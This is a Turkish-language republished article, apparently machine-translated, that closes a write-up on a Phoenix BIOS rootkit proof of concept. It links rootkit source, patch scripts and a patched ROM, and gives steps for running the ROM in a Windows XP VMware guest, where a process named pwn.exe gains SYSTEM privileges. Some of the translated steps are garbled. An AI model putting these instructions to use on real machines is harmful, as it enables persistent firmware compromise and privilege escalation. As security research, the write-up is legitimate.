Girişte, imzalı BIOS güncellemeleri gibi yeni BIOS özelliklerinin, güvenlik açısından bu sorundan çok daha fazlası olduğunu fark ettim. Ancak "eski" bilgisayarların "yeni" bilgisayarlardan daha fazla olduğunu da belirtmekte fayda var, bu nedenle bu tür saldırılar uzun süredir hala bir sorundur.

Demo VMware BIOS ve kaynak kodu

Kavram kanıtı olarak aşağıdaki kaynak kodunu ve yamalı BIOS'u sağlayın. İnsanların onu kötü niyetli bir amaçla kullanmasını istemiyorum, ancak bu tür bir saldırının eski BIOS yapılandırmalarında tamamen uygulanabilir olduğunu göstermek için. Birinin bu kodun çevrimiçi sürümümü mevcut haliyle herhangi bir yararlı kötü amaçlı yazılıma dönüştürmesini istemiyorum.

Önceki bölümlerde bahsedildiği gibi, bu kod çoğu "Phoenix" BIOS'unu onarabilmelidir. Yama komut dosyası buradan indirilebilir: BIOS_Based_Rootkit_Patch_Scripts.zip

BIOS rootkit'in kaynak kodu buradan indirilebilir: biosrootkit.asm

Yukarıdaki komut dosyasını / kaynak kodunu kullanırsanız, BIOS'a girmek için kodu derlemek için NASM'ye ihtiyacınız vardır. NASM değişken yolunuza eklenmeli veya başarılı bir şekilde çalışmasını sağlamak için yama komut dosyasını güncellemelisiniz. Ayrıca Phoenix BIOS editörünün bir kopyasına veya dekompresyon modüllerini eksiksiz bir BIOS'ta birleştirmeye eşdeğer ücretsiz bir araca ihtiyacınız olacak

Tüm bunları kendiniz derlemek istemiyor, ancak sadece denemek istiyorsanız, BIOS'u VMware ile kullanmak üzere buradan indirebilirsiniz: BIOS_rootkit_demo.ROM

PoC kullanımı ve notlar

Yukarıdaki makaleyi okumaktan hoşlanmıyorsanız, işte onu nasıl kullanacağınız ve ne işe yaradığının bir özeti.

  • Önce, yukarıdaki bağlantıdan BIOS_rootkit_demo.ROM BIOS görüntüsünü indirin.
  • Test için bir VMware kopyası ve bir Windows XP işletim sistemi istemcisi kurmanız gerekir. VMware Workstation'ın bir dizi farklı sürümü ve VMware Player'ın en son sürümü (ücretsiz) ile test ettim.
  • İstemci WinXP VM'nizi açmadan önce, bilgisayarınızda sanal makinenin depolandığı konuma göz atın ve .vmx dosyasını (yani WindowsXP.vmx veya VM dosyalarınızdan herhangi biri) Not Defteri'nde açın. Bu satırı sonuna ekleyin:
bios440.filename = "BIOS_rootkit_demo.ROM"
  • Bu klasörün içindeyken BIOS_rootkit_demo.ROM'u bu klasöre kopyaladığınızdan emin olun.
  • Şimdi VM'yi açın ve başlatın ve ardından programı pwn.exe olarak yeniden adlandırın (örneğin cmd.exe).
  • 30 saniye bekleyin ve ardından görev yöneticisini başlatın. Pwn.exe, XP'de oturum açtığınız herhangi bir kullanıcı olarak değil, "SİSTEM" kullanıcısı olarak çalışmalıdır.

Yukarıdaki adım listesi ideal bir ortamda çalışmaktır. Test aşağıdaki önlemleri gösterir!

  • İşletim sistemi kararsız. Bazen pwn.exe uygulamanızı başlattığınızda veya basitçe kapattığınızda Windows BSOD olacaktır.
  • 30 saniyelik ayrıcalık artışından önce açarsanız, ayrıcalıklarınızı kontrol etmek için whoami gibi bir şey kullanabilirsiniz.
  • Onu gerçek bir PC'ye başarıyla yüklemiş olmama rağmen, yüklerseniz sonuçlardan sorumlu olmayacağım. Anakartınızı feci bir şekilde kırarsanız, ben de çok mutlu olurum, yine de size yardımcı olamam! Kendi sorumluluğunuzdadır!
  • Bu videoyu sadece izlemek istiyorsanız, Colin zaten YouTube'a bir tane koydu:
* Kaynak: n0where, MottoIN'den yeniden üretilmiştir

Orijinal makale, yazar: Jarry, http: //www.mottoin.com/article/terminal/101307.html adresinden yeniden üretilmiştir.

Beijing College Giriş Sınav Soruları
önceki
Genel güç, bir başka adım daha güçlü, pist test sürüşü SAIC Roewe eRX5
Sonraki
Üç aşamalı yer değiştirme Han Xin, takım savaşlarına serbestçe gelin ve gidin
Penetrasyon teknikleri-Windows platformunda Masscan ve Nmap'i çalıştırın
Nisan ayında ilk kez "Köpekler İnsan Kalplerini Görür"
Liangjiang Yeni Bölgesi'ndeki Fusheng Yüksek Hızlı Tren İstasyonunda binlerce dönümlük tecavüz çiçeği sıcak nokta haline geldi
351 kilometreye kadar pil ömrü, gerçek çekim Chery Arrizo 5e
Klasik ayakkabı markalarının yenilikçi ortak markalaşması, retro dalga geliyor!
Zhuang Shengxiao, Krallar Kanyonu'nda kelebeklerin ve yamyam köpekbalıklarının hayalini kuruyor Zhuang Zhou'ya yeni başlayanlar için bir rehber
National paper 1 üniversite giriş sınavı kapsamlı test soruları
"Wandering Earth", Guo Fan adlı bir Kuzey Amerika roadshow özel yayınladı: "Seyirci beğendiği sürece, yapmaya devam edeceğiz."
İlkbaharda seyahat ederken, hafif raylı sisteme oturup çiçeklerin tadını çıkaralım (1)
Chery T17 model tasarımı Şangay Otomobil Fuarı'nda tanıtıldı
Zafer Kralı Miyamoto Musashi'nin en güçlü kılıç çifti seyirciyi alt üst etti
To Top